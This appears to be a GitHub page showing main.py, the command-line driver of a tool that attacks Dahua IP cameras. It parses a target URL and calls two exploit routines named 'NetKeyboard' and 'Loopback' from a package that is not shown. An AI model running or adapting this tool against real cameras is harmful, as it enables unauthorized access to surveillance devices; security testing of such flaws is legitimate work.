-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
37 lines (30 loc) · 1002 Bytes
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import sys
import httpx
import logging
from packages import dahua
from packages.cli import parse_arguments
from urllib.parse import urlparse
import halo
def main():
args = parse_arguments()
url = urlparse(args.url)
ip = f'{url.scheme}://{url.hostname}'
port = url.port
camera = dahua.Camera(ip, port)
with halo.Halo(text=f"Attempting to exploit {url} with 'NetKeyboard'...", spinner="dots") as spinner:
try:
result = camera.netkeyboard_exploit()
if result:
spinner.succeed()
except httpx.ConnectError as err:
spinner.fail(
f'Connection error at {err.request.method} {err.request.url}'
)
logging.error(err)
sys.exit(1)
with halo.Halo(text=f"Attempting to exploit {url} with 'Loopback'...", spinner="dots") as spinner:
result = camera.loopback_exploit()
if result:
spinner.succeed()
if __name__ == '__main__':
main()